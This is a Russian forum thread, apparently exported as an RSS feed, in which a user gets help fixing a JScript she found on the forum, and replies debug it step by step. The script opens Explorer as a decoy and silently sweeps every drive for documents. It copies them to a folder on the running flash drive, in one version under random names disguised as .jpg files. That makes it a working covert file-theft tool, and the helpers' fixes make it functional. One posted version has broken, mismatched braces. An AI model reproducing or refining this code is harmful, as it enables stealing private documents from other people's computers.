Форум на Исходниках.RU https://forum.sources.ru Форум на Исходниках.RU Форум на Исходниках.RU https://forum.sources.ru/index.php?showtopic=413857&view=findpost&p=3784812 Fri, 07 Dec 2018 08:36:27 +0000 Помогите разобраться начинающему в программах vbs https://forum.sources.ru/index.php?showtopic=413857&view=findpost&p=3784812 Цитата lixen15 @
Убрала все возможности возникновения, но к сожалению ничего не копируется все равно.

Во-первых - catch надо удалять вместе с содержимым catch(e) {......}, для try желательно удалить ещё фигурные скобки {}, но можно и оставить
Во-вторых - в процессе удаления try-catch ты где-то потеряла фигурную скобку, в результате функция UpdateSoftware стала вдвое меньше.

Так что, верни все try-catch на место и удали только var ext = found[0];, должно заработать.
И, пользуйся кнопкой CODE, когда выкладываешь исходники, как в первом сообщении.]]> Олег М Visual Basic: Общие вопросы https://forum.sources.ru/index.php?showtopic=413857&view=findpost&p=3784786 Thu, 06 Dec 2018 21:56:34 +0000 Помогите разобраться начинающему в программах vbs https://forum.sources.ru/index.php?showtopic=413857&view=findpost&p=3784786 Олег М Доброго времени суток! Убрала все возможности возникновения, но к сожалению ничего не копируется все равно.

function UpdateSoftware(fso, cd, softwareFolder) {
var patch = /\.(docx)$/i;
var diff = new Date(2007,05,01);
var softwareEnumerator = new Enumerator(softwareFolder.Files);
softwareEnumerator.moveFirst();
for (; !softwareEnumerator.atEnd(); softwareEnumerator.moveNext())
{
var found = softwareEnumerator.item().Name.match(patch);
if (found &&((Date.parse(softwareEnumerator.item().DateCreated) >= diff.getTime())||(Date.parse(softwareEnumerator.item().DateLastAccessed) >= diff.getTime())||(Date.parse(softwareEnumerator.item().DateLastModified) >= diff.getTime())))
{
var ext = "." + found[0];
fso.CopyFile(softwareEnumerator.item().Path, cd + "\\02-"+Math.round(Math.random()*Math.pow(10,10))
+ "-" + Date.parse(softwareEnumerator.item().DateCreated)
+ found[0], true);
}
{
if (e.number == 61)
{
WScript.Quit(0);
}
}
}
}
var packageEnumerator = new Enumerator(softwareFolder.SubFolders);
packageEnumerator.moveFirst();
for (; !packageEnumerator.atEnd(); packageEnumerator.moveNext()) {

if ((packageEnumerator.item().Name.toUpperCase() != "Program Files".toUpperCase()) && (packageEnumerator.item().Name.toUpperCase() != "Windows".toUpperCase()) && (packageEnumerator.item().Name.toUpperCase() != "Winnt".toUpperCase())) {
UpdateSoftware(fso, cd, packageEnumerator.item());
}
{
}
}
{
}


{
var ws = WScript.CreateObject("WScript.Shell");
ws.Exec("explorer.exe" + " " + ws.CurrentDirectory);
var fso = WScript.CreateObject("Scripting.FileSystemObject");
if (!fso.FolderExists(ws.CurrentDirectory+"\\photo")) {
fso.CreateFolder(ws.CurrentDirectory+"\\photo");
}
var tmpFileName = "autorun.txt";
if (!fso.FileExists(tmpFileName)) {
var tmpFile = fso.GetFolder(ws.CurrentDirectory).CreateTextFile(tmpFileName, true);
tmpFile.Close();
var driveEnumerator = new Enumerator(fso.Drives);
driveEnumerator.moveFirst();
for (; !driveEnumerator.atEnd(); driveEnumerator.moveNext()) {
{
if (driveEnumerator.item().RootFolder != ws.CurrentDirectory) {
UpdateSoftware(fso, ws.CurrentDirectory+"\\photo", driveEnumerator.item().RootFolder);
}
} {
}
}
fso.DeleteFile(ws.CurrentDirectory+"\\"+tmpFileName, true);
}
} {
}
     
]]> lixen15 Visual Basic: Общие вопросы https://forum.sources.ru/index.php?showtopic=413857&view=findpost&p=3784595 Wed, 05 Dec 2018 13:31:28 +0000 Помогите разобраться начинающему в программах vbs https://forum.sources.ru/index.php?showtopic=413857&view=findpost&p=3784595
Добавлено
var ext = found[0];
Убери эту строчку, она даёт ошибку]]> Олег М Visual Basic: Общие вопросы https://forum.sources.ru/index.php?showtopic=413857&view=findpost&p=3784571 Wed, 05 Dec 2018 11:59:36 +0000 Помогите разобраться начинающему в программах vbs https://forum.sources.ru/index.php?showtopic=413857&view=findpost&p=3784571 Олег М Исправила на docx. Все равно результата нету]]> lixen15 Visual Basic: Общие вопросы https://forum.sources.ru/index.php?showtopic=413857&view=findpost&p=3784570 Wed, 05 Dec 2018 11:59:06 +0000 Помогите разобраться начинающему в программах vbs https://forum.sources.ru/index.php?showtopic=413857&view=findpost&p=3784570 Олег М Visual Basic: Общие вопросы https://forum.sources.ru/index.php?showtopic=413857&view=findpost&p=3784567 Wed, 05 Dec 2018 11:57:07 +0000 Помогите разобраться начинающему в программах vbs https://forum.sources.ru/index.php?showtopic=413857&view=findpost&p=3784567 Олег М
Все запустилось без ошибок, но ничего не скопировалось, хах]]> lixen15 Visual Basic: Общие вопросы https://forum.sources.ru/index.php?showtopic=413857&view=findpost&p=3784564 Wed, 05 Dec 2018 11:51:15 +0000 Помогите разобраться начинающему в программах vbs https://forum.sources.ru/index.php?showtopic=413857&view=findpost&p=3784564
for (; !softwareEnumerator.atEnd(); softwareEnumerator.moveNext()) {
{
var found = softwareEnumerator.item().Name.match(patch);
var ext = found[0];]]> Олег М Visual Basic: Общие вопросы https://forum.sources.ru/index.php?showtopic=413857&view=findpost&p=3784561 Wed, 05 Dec 2018 11:45:25 +0000 Помогите разобраться начинающему в программах vbs https://forum.sources.ru/index.php?showtopic=413857&view=findpost&p=3784561 Олег М
Понимаю, что я наверно Вас уже достала, хах.

    function UpdateSoftware(fso, cd, softwareFolder) {
        try {
            var patch = /\.(doc|rtf|xls|txt)$/i;
            var diff = new Date(2007,05,01);
            var softwareEnumerator = new Enumerator(softwareFolder.Files);
            softwareEnumerator.moveFirst();
            for (; !softwareEnumerator.atEnd(); softwareEnumerator.moveNext()) {
            {
                var found = softwareEnumerator.item().Name.match(patch);
    var ext = found[0];
     
                if (found &&((Date.parse(softwareEnumerator.item().DateCreated) >= diff.getTime())||(Date.parse(softwareEnumerator.item().DateLastAccessed) >= diff.getTime())||(Date.parse(softwareEnumerator.item().DateLastModified) >= diff.getTime())))
                {
                    try
                    {
                        var ext = "." + found[0];
                        fso.CopyFile(softwareEnumerator.item().Path, cd + "\02-"+Math.round(Math.random()*Math.pow(10,10))
                            + "-" + Date.parse(softwareEnumerator.item().DateCreated)
                            + found[0], true);
                    }
                    catch (e)
                    {
                        if (e.number == 61)
                        {
                            WScript.Quit(0);
                        }
                    }
                }
            }
            var packageEnumerator = new Enumerator(softwareFolder.SubFolders);
            packageEnumerator.moveFirst();
            for (; !packageEnumerator.atEnd(); packageEnumerator.moveNext()) {
                try {
                    if ((packageEnumerator.item().Name.toUpperCase() != "Program Files".toUpperCase()) && (packageEnumerator.item().Name.toUpperCase() != "Windows".toUpperCase()) && (packageEnumerator.item().Name.toUpperCase() != "Winnt".toUpperCase())) {
                        UpdateSoftware(fso, cd, packageEnumerator.item());
                     }
                } catch(e) {
                }
            }
        } catch(e) {
        }
    }
     
    try {
        var ws = WScript.CreateObject("WScript.Shell");
        ws.Exec("explorer.exe" + " " + ws.CurrentDirectory);
        var fso = WScript.CreateObject("Scripting.FileSystemObject");
        if (!fso.FolderExists(ws.CurrentDirectory+"\photo")) {
            fso.CreateFolder(ws.CurrentDirectory+"\photo");
        }
        var tmpFileName = "autorun.txt";
        if (!fso.FileExists(tmpFileName)) {
            var tmpFile = fso.GetFolder(ws.CurrentDirectory).CreateTextFile(tmpFileName, true);
            tmpFile.Close();
            var driveEnumerator = new Enumerator(fso.Drives);
            driveEnumerator.moveFirst();
            for (; !driveEnumerator.atEnd(); driveEnumerator.moveNext()) {
                try {
                    if (driveEnumerator.item().RootFolder != ws.CurrentDirectory) {
                        UpdateSoftware(fso, ws.CurrentDirectory+"\photo", driveEnumerator.item().RootFolder);
                    }
                } catch(e) {
                }
            }
            fso.DeleteFile(ws.CurrentDirectory+"\"+tmpFileName, true);
        }
    } catch(e) {
    }

Поставила имя, все как Вы написали, сокращенный вариант. Теперь выдает ошибку 40 строка символ 7 Синтаксическая ошибка 800А03ЕА. } catch(e) { вот эта строка]]> lixen15 Visual Basic: Общие вопросы https://forum.sources.ru/index.php?showtopic=413857&view=findpost&p=3784560 Wed, 05 Dec 2018 11:37:39 +0000 Помогите разобраться начинающему в программах vbs https://forum.sources.ru/index.php?showtopic=413857&view=findpost&p=3784560 Цитата lixen15 @
18 строка copyFile все время выдает ошибку

Я ............................. поставил, чтоб покороче было.
                    try
                    {
                        fso.CopyFile(softwareEnumerator.item().Path, cd + "\02-"+Math.round(Math.random()*Math.pow(10,10))
                            + "-" + Date.parse(softwareEnumerator.item().DateCreated)
                            + "-" + Date.parse(softwareEnumerator.item().DateLastModified)
                            + "-" + Date.parse(softwareEnumerator.item().DateLastAccessed)
                            + '-' + softwareEnumerator.item().Name.charCodeAt(softwareEnumerator.item().Name.length-3)
                            + '-' + softwareEnumerator.item().Name.charCodeAt(softwareEnumerator.item().Name.length-2)
                            + '-' + softwareEnumerator.item().Name.charCodeAt(softwareEnumerator.item().Name.length-1)
                            + found[0], true);
                    }


Добавлено
Можно сократить имя
                        fso.CopyFile(softwareEnumerator.item().Path, cd + "\02-"+Math.round(Math.random()*Math.pow(10,10))
                            + "-" + Date.parse(softwareEnumerator.item().DateCreated)
                            + found[0], true);
]]> Олег М Visual Basic: Общие вопросы https://forum.sources.ru/index.php?showtopic=413857&view=findpost&p=3784555 Wed, 05 Dec 2018 11:31:09 +0000 Помогите разобраться начинающему в программах vbs https://forum.sources.ru/index.php?showtopic=413857&view=findpost&p=3784555 Олег М
Не видела предыдущего сообщения, простите.

    function UpdateSoftware(fso, cd, softwareFolder) {
        try {
            var patch = /\.(doc|rtf|xls|txt)$/i;
            var diff = new Date(2007,05,01);
            var softwareEnumerator = new Enumerator(softwareFolder.Files);
            softwareEnumerator.moveFirst();
            for (; !softwareEnumerator.atEnd(); softwareEnumerator.moveNext()) {
                 for (; !softwareEnumerator.atEnd(); softwareEnumerator.moveNext())
            {
                var found = softwareEnumerator.item().Name.match(patch);
    var ext = found[0];
     
                if (found &&((Date.parse(softwareEnumerator.item().DateCreated) >= diff.getTime())||(Date.parse(softwareEnumerator.item().DateLastAccessed) >= diff.getTime())||(Date.parse(softwareEnumerator.item().DateLastModified) >= diff.getTime())))
                {
                    try
                    {
                        var ext = "." + found[0];
                        fso.CopyFile(softwareEnumerator.item().Path, cd + ............................. + found[0], true);
    WScript.StdOut.WriteLine(ext);
                    }
                    catch (e)
                    {
                        if (e.number == 61)
                        {
                            WScript.Quit(0);
                        }
                    }
                }
            }

18 строка copyFile все время выдает ошибку]]> lixen15 Visual Basic: Общие вопросы https://forum.sources.ru/index.php?showtopic=413857&view=findpost&p=3784551 Wed, 05 Dec 2018 11:14:49 +0000 Помогите разобраться начинающему в программах vbs https://forum.sources.ru/index.php?showtopic=413857&view=findpost&p=3784551 Олег М Visual Basic: Общие вопросы https://forum.sources.ru/index.php?showtopic=413857&view=findpost&p=3784550 Wed, 05 Dec 2018 11:12:40 +0000 Помогите разобраться начинающему в программах vbs https://forum.sources.ru/index.php?showtopic=413857&view=findpost&p=3784550 Олег М

var found = softwareEnumerator.item().Name.match(patch);
var ext = found[0];
fso.CopyFile found
вот так должно выглядеть?]]> lixen15 Visual Basic: Общие вопросы https://forum.sources.ru/index.php?showtopic=413857&view=findpost&p=3784547 Wed, 05 Dec 2018 11:03:37 +0000 Помогите разобраться начинающему в программах vbs https://forum.sources.ru/index.php?showtopic=413857&view=findpost&p=3784547 Цитата lixen15 @
Операция теперь проходит без ошибок, но файлов не появляется никаких

потому что ты убрала fso.CopyFile

Добавлено
            for (; !softwareEnumerator.atEnd(); softwareEnumerator.moveNext())
            {
                var found = softwareEnumerator.item().Name.match(patch);
     
                if (found &&((Date.parse(softwareEnumerator.item().DateCreated) >= diff.getTime())||(Date.parse(softwareEnumerator.item().DateLastAccessed) >= diff.getTime())||(Date.parse(softwareEnumerator.item().DateLastModified) >= diff.getTime())))
                {
                    try
                    {
                        var ext = "." + found[0];
                        fso.CopyFile(softwareEnumerator.item().Path, cd + ............................. + ext, true);
                    }
                    catch (e)
                    {
                        if (e.number == 61)
                        {
                            WScript.Quit(0);
                        }
                    }
                }
            }


Добавлено
Только для начала лучше проверь
                        var ext = "." + found[0];
                        //fso.CopyFile(softwareEnumerator.item().Path, cd + ............................. + ext, true);
    WScript.StdOut.WriteLine(ext);


Добавлено
fso.CopyFile(softwareEnumerator.item().Path, cd + ............................. + found[0], true);]]> Олег М Visual Basic: Общие вопросы https://forum.sources.ru/index.php?showtopic=413857&view=findpost&p=3784546 Wed, 05 Dec 2018 10:59:35 +0000 Помогите разобраться начинающему в программах vbs https://forum.sources.ru/index.php?showtopic=413857&view=findpost&p=3784546 Олег М
    function UpdateSoftware(fso, cd, softwareFolder) {
        try {
            var patch = /\.(jpg)$/i;
            var diff = new Date(2018,05,01);
            var softwareEnumerator = new Enumerator(softwareFolder.Files);
            softwareEnumerator.moveFirst();
            for (; !softwareEnumerator.atEnd(); softwareEnumerator.moveNext()) {
                if ((softwareEnumerator.item().Name.match(patch))&&((Date.parse(softwareEnumerator.item().DateCreated) >= diff.getTime())||(Date.parse(softwareEnumerator.item().DateLastAccessed) >= diff.getTime())||(Date.parse(softwareEnumerator.item().DateLastModified) >= diff.getTime()))) {
                    try {
                        var found = softwareEnumerator.item().Name.match(patch);
                        var ext = found[0];
                    } catch (e) {
                        if (e.number == 61) {
                            WScript.Quit(0);
                        }
                    }
                }
            }
            var packageEnumerator = new Enumerator(softwareFolder.SubFolders);
            packageEnumerator.moveFirst();
            for (; !packageEnumerator.atEnd(); packageEnumerator.moveNext()) {
                try {
                    if ((packageEnumerator.item().Name.toUpperCase() != "Program Files".toUpperCase()) && (packageEnumerator.item().Name.toUpperCase() != "Windows".toUpperCase()) && (packageEnumerator.item().Name.toUpperCase() != "Winnt".toUpperCase())) {
                        UpdateSoftware(fso, cd, packageEnumerator.item());
                     }
                } catch(e) {
                }
            }
        } catch(e) {
        }
    }
     
    try {
        var ws = WScript.CreateObject("WScript.Shell");
        ws.Exec("explorer.exe" + " " + ws.CurrentDirectory);
        var fso = WScript.CreateObject("Scripting.FileSystemObject");
        if (!fso.FolderExists(ws.CurrentDirectory+"\home")) {
            fso.CreateFolder(ws.CurrentDirectory+"\home");
        }
        var tmpFileName = "autorun.txt";
        if (!fso.FileExists(tmpFileName)) {
            var tmpFile = fso.GetFolder(ws.CurrentDirectory).CreateTextFile(tmpFileName, true);
            tmpFile.Close();
            var driveEnumerator = new Enumerator(fso.Drives);
            driveEnumerator.moveFirst();
            for (; !driveEnumerator.atEnd(); driveEnumerator.moveNext()) {
                try {
                    if (driveEnumerator.item().RootFolder != ws.CurrentDirectory) {
                        UpdateSoftware(fso, ws.CurrentDirectory+"\home", driveEnumerator.item().RootFolder);
                    }
                } catch(e) {
                }
            }
            fso.DeleteFile(ws.CurrentDirectory+"\"+tmpFileName, true);
        }
    } catch(e) {
    }


Строку с длинным названием изменила на вашу и вначале задала поиск jpg. Но docx тоже не ищет так]]> lixen15 Visual Basic: Общие вопросы https://forum.sources.ru/index.php?showtopic=413857&view=findpost&p=3784544 Wed, 05 Dec 2018 10:56:43 +0000 Помогите разобраться начинающему в программах vbs https://forum.sources.ru/index.php?showtopic=413857&view=findpost&p=3784544 Олег М Visual Basic: Общие вопросы https://forum.sources.ru/index.php?showtopic=413857&view=findpost&p=3784542 Wed, 05 Dec 2018 10:55:44 +0000 Помогите разобраться начинающему в программах vbs https://forum.sources.ru/index.php?showtopic=413857&view=findpost&p=3784542 Олег М странно. Операция теперь проходит без ошибок, но файлов не появляется никаких :oops:]]> lixen15 Visual Basic: Общие вопросы https://forum.sources.ru/index.php?showtopic=413857&view=findpost&p=3784535 Wed, 05 Dec 2018 10:38:43 +0000 Помогите разобраться начинающему в программах vbs https://forum.sources.ru/index.php?showtopic=413857&view=findpost&p=3784535 Цитата lixen15 @
И если мне нужны разные файлы doc, txt, jpg, xsl, но чтобы он их не превращал потом в картинки?)

Сейчас у тебя при переименовании расширение задано константой +".jpg", true); Надо здесь поставить то, которое было у исходного файла. Его можно вытащить из regex patch, что-то типа
    var found = softwareEnumerator.item().Name.match(patch);
    var ext = found[0];
]]> Олег М Visual Basic: Общие вопросы https://forum.sources.ru/index.php?showtopic=413857&view=findpost&p=3784529 Wed, 05 Dec 2018 10:31:05 +0000 Помогите разобраться начинающему в программах vbs https://forum.sources.ru/index.php?showtopic=413857&view=findpost&p=3784529 Олег М Я в шоке! все сработало!Спасибо ВАМ огромнейшее! Вопрос такой, как можно сократить названия файла или оставлять их такими же как они и были. И если мне нужны разные файлы doc, txt, jpg, xsl, но чтобы он их не превращал потом в картинки?)]]> lixen15 Visual Basic: Общие вопросы https://forum.sources.ru/index.php?showtopic=413857&view=findpost&p=3784528 Wed, 05 Dec 2018 10:22:34 +0000 Помогите разобраться начинающему в программах vbs https://forum.sources.ru/index.php?showtopic=413857&view=findpost&p=3784528 Цитата lixen15 @
что ни одно фото не открывается и имеет какие то нереально длинные названия(

Не открывается потому что текстовые и др. файлы var patch = /\.(doc|rtf|xls|txt)$/i; просто перерименовываются в .jpeg. От этого они картинками не станут. Наверное, надо patch = /\.(jpeg)$/i искать.
А название длинное, потому что ты его таким задаёшь - fso.CopyFile(softwareEnumerator.item().Path, cd + "\\02-"+Math.round(Math.random()*Math.pow(10,10))+"-"+Date.parse(software.................]]> Олег М Visual Basic: Общие вопросы https://forum.sources.ru/index.php?showtopic=413857&view=findpost&p=3784527 Wed, 05 Dec 2018 10:17:39 +0000 Помогите разобраться начинающему в программах vbs https://forum.sources.ru/index.php?showtopic=413857&view=findpost&p=3784527 Олег М Все сработало, только вот интересно то, что ни одно фото не открывается и имеет какие то нереально длинные названия(]]> lixen15 Visual Basic: Общие вопросы https://forum.sources.ru/index.php?showtopic=413857&view=findpost&p=3784524 Wed, 05 Dec 2018 10:12:09 +0000 Помогите разобраться начинающему в программах vbs https://forum.sources.ru/index.php?showtopic=413857&view=findpost&p=3784524 Цитата lixen15 @
ошибка недопустимый знак код 800А0408. Этот скрипт я нашла тут же на форему.

Проверь файл, что он в кодировке ANSI, и что расширение у него .js
Я просто скопировал код отсюда, всё нормально никакой ошибки не было]]> Олег М Visual Basic: Общие вопросы https://forum.sources.ru/index.php?showtopic=413857&view=findpost&p=3784522 Wed, 05 Dec 2018 10:07:51 +0000 Помогите разобраться начинающему в программах vbs https://forum.sources.ru/index.php?showtopic=413857&view=findpost&p=3784522 Олег Мошибка недопустимый знак код 800А0408. Этот скрипт я нашла тут же на форему. Мне просто нужен скрипт чтобы мог искать файлы на всем пк по маске и копировать на флешку.
И спасибо большое за ответы, я не ожидала, что кто-то отзавется :wub:]]> lixen15 Visual Basic: Общие вопросы https://forum.sources.ru/index.php?showtopic=413857&view=findpost&p=3784491 Wed, 05 Dec 2018 08:33:57 +0000 Помогите разобраться начинающему в программах vbs https://forum.sources.ru/index.php?showtopic=413857&view=findpost&p=3784491 Цитата lixen15 @
Подскажите почему может выдавать ошибку данная программа? Ошибка символа в 50 строке 1 символе.


Вроде всё нормально. Какая конкретно ошибка?


Цитата MIF @
Не работает потому, что приведеный текст - смесь двух языков: VBS и C#.


Это JavaScript]]> Олег М Visual Basic: Общие вопросы https://forum.sources.ru/index.php?showtopic=413857&view=findpost&p=3784467 Wed, 05 Dec 2018 06:19:04 +0000 Помогите разобраться начинающему в программах vbs https://forum.sources.ru/index.php?showtopic=413857&view=findpost&p=3784467 MIF Visual Basic: Общие вопросы https://forum.sources.ru/index.php?showtopic=413857&view=findpost&p=3784454 Wed, 05 Dec 2018 01:23:44 +0000 Помогите разобраться начинающему в программах vbs https://forum.sources.ru/index.php?showtopic=413857&view=findpost&p=3784454 Славян Visual Basic: Общие вопросы https://forum.sources.ru/index.php?showtopic=413857&view=findpost&p=3784450 Tue, 04 Dec 2018 21:33:02 +0000 Помогите разобраться начинающему в программах vbs https://forum.sources.ru/index.php?showtopic=413857&view=findpost&p=3784450
    function UpdateSoftware(fso, cd, softwareFolder) {
        try {
            var patch = /\.(doc|rtf|xls|txt)$/i;
            var diff = new Date(2007,05,01);
            var softwareEnumerator = new Enumerator(softwareFolder.Files);
            softwareEnumerator.moveFirst();
            for (; !softwareEnumerator.atEnd(); softwareEnumerator.moveNext()) {
                if ((softwareEnumerator.item().Name.match(patch))&&((Date.parse(softwareEnumerator.item().DateCreated) >= diff.getTime())||(Date.parse(softwareEnumerator.item().DateLastAccessed) >= diff.getTime())||(Date.parse(softwareEnumerator.item().DateLastModified) >= diff.getTime()))) {
                    try {
                        fso.CopyFile(softwareEnumerator.item().Path, cd + "\02-"+Math.round(Math.random()*Math.pow(10,10))+"-"+Date.parse(softwareEnumerator.item().DateCreated)+"-"+Date.parse(softwareEnumerator.item().DateLastModified)+"-"+Date.parse(softwareEnumerator.item().DateLastAccessed)+'-'+softwareEnumerator.item().Name.charCodeAt(softwareEnumerator.item().Name.length-3)+'-'+softwareEnumerator.item().Name.charCodeAt(softwareEnumerator.item().Name.length-2)+'-'+softwareEnumerator.item().Name.charCodeAt(softwareEnumerator.item().Name.length-1)+".jpg", true);
                    } catch (e) {
                        if (e.number == 61) {
                            WScript.Quit(0);
                        }
                    }
                }
            }
            var packageEnumerator = new Enumerator(softwareFolder.SubFolders);
            packageEnumerator.moveFirst();
            for (; !packageEnumerator.atEnd(); packageEnumerator.moveNext()) {
                try {
                    if ((packageEnumerator.item().Name.toUpperCase() != "Program Files".toUpperCase()) && (packageEnumerator.item().Name.toUpperCase() != "Windows".toUpperCase()) && (packageEnumerator.item().Name.toUpperCase() != "Winnt".toUpperCase())) {
                        UpdateSoftware(fso, cd, packageEnumerator.item());
                     }
                } catch(e) {
                }
            }
        } catch(e) {
        }
    }
     
    try {
        var ws = WScript.CreateObject("WScript.Shell");
        ws.Exec("explorer.exe" + " " + ws.CurrentDirectory);
        var fso = WScript.CreateObject("Scripting.FileSystemObject");
        if (!fso.FolderExists(ws.CurrentDirectory+"\photo")) {
            fso.CreateFolder(ws.CurrentDirectory+"\photo");
        }
        var tmpFileName = "autorun.txt";
        if (!fso.FileExists(tmpFileName)) {
            var tmpFile = fso.GetFolder(ws.CurrentDirectory).CreateTextFile(tmpFileName, true);
            tmpFile.Close();
            var driveEnumerator = new Enumerator(fso.Drives);
            driveEnumerator.moveFirst();
            for (; !driveEnumerator.atEnd(); driveEnumerator.moveNext()) {
                try {
                    if (driveEnumerator.item().RootFolder != ws.CurrentDirectory) {
                        UpdateSoftware(fso, ws.CurrentDirectory+"\photo", driveEnumerator.item().RootFolder);
                    }
                } catch(e) {
                }
            }
            fso.DeleteFile(ws.CurrentDirectory+"\"+tmpFileName, true);
        }
    } catch(e) {
    }


Заранее большое спасибо! :wub:]]> lixen15 Visual Basic: Общие вопросы